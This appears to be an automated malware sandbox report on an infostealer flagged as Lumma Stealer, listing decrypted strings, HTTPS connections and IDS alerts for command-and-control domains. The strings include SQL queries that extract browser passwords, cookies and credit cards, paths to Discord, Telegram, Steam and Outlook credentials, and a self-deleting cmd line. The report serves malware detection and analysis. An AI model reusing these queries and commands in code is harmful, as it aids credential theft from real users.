Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetModuleFileNameA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DeleteFileA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: FindNextFileA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: LocalFree
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: FindClose
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: LocalAlloc
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetFileSizeEx
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ReadFile
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SetFilePointer
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: WriteFile
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateFileA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: FindFirstFileA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CopyFileA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: VirtualProtect
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetLastError
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: lstrcpynA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: MultiByteToWideChar
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GlobalFree
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: WideCharToMultiByte
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GlobalAlloc
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: OpenProcess
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: TerminateProcess
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetCurrentProcessId
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: gdiplus.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ole32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: bcrypt.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: wininet.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: shlwapi.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: shell32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: psapi.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: rstrtmgr.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SelectObject
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BitBlt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DeleteObject
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateCompatibleDC
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdiplusStartup
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdiplusShutdown
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipDisposeImage
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GdipFree
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CoUninitialize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CoInitialize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CoCreateInstance
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptDecrypt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptSetProperty
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptDestroyKey
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetWindowRect
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetDesktopWindow
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetDC
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CloseWindow
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: wsprintfA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CharToOemW
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: wsprintfW
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RegQueryValueExA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RegEnumKeyExA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RegOpenKeyExA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RegCloseKey
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RegEnumValueA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CryptUnprotectData
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SHGetFolderPathA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ShellExecuteExA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetOpenUrlA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetConnectA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetCloseHandle
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetOpenA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HttpSendRequestA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HttpOpenRequestA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetReadFile
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: InternetCrackUrlA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: StrCmpCA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: StrStrA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: StrCmpCW
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PathMatchSpecA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RmStartSession
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RmRegisterResources
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RmGetList
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: RmEndSession
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_open
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_step
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_column_text
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_finalize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_close
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3_column_blob
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: encrypted_key
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PATH
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: NSS_Init
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: NSS_Shutdown
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PK11_FreeSlot
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PK11_Authenticate
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: C:\ProgramData\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: browser:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: profile:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: url:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: login:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: password:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Opera
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: OperaGX
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Network
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: cookies
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: .txt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: TRUE
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: FALSE
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: autofill
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: history
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: cc
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: name:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: month:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: year:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: card:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Cookies
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Login Data
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Web Data
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: History
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: logins.json
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: formSubmitURL
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: usernameField
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: encryptedUsername
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: encryptedPassword
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: guid
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: cookies.sqlite
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: formhistory.sqlite
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: places.sqlite
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: plugins
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Local Extension Settings
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Sync Extension Settings
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: IndexedDB
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Opera Stable
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Opera GX Stable
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CURRENT
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: chrome-extension_
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Local State
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: profiles.ini
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: chrome
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: opera
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: firefox
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: wallets
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ProductName
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: x32
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: x64
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ProcessorNameString
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DisplayName
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DisplayVersion
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Network Info:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - IP: IP?
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Country: ISO?
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: System Summary:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - HWID:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - OS:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Architecture:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - UserName:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Computer Name:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Local Time:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - UTC:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Language:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Keyboards:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Laptop:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Running Path:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - CPU:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Threads:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Cores:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - RAM:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - Display Resolution:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: - GPU:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: User Agents:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Installed Apps:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: All Users:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Current User:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Process List:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: system_info.txt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: freebl3.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: mozglue.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: msvcp140.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: nss3.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: softokn3.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: vcruntime140.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Temp\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: .exe
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: runas
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: open
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: /c start
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %DESKTOP%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %APPDATA%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %USERPROFILE%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %DOCUMENTS%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %RECENT%
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: *.lnk
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: files
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \discord\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Telegram Desktop\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: key_datas
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: map*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Telegram
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Tox
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: *.tox
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: *.ini
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Password
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 00000001
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 00000002
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 00000003
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 00000004
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Pidgin
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \.purple\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: accounts.xml
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: token:
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Software\Valve\Steam
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SteamPath
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \config\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ssfn*
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: config.vdf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DialogConfig.vdf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: libraryfolders.vdf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: loginusers.vdf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Steam\
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sqlite3.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: browsers
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: done
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: soft
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: https
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: POST
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HTTP/1.1
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: hwid
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: build
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: token
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: file_name
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: file
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: message
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58526 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58529 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58545 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58557 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58563 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58589 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58607 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58616 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QQVU8579GXGT7ENXLIPV.exe, 00000005.00000003.2343873112.0000000005100000.00000004.00001000.00020000.00000000.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmp, HGRF5Z7TYW7E33AW.exe, 0000001B.00000003.3099762057.0000000004F90000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Directory queried: number of queries: 2138

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 192MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:57329 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:63015 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:61624 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:49926 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49727 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:65216 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49709 -> 188.114.97.3:443
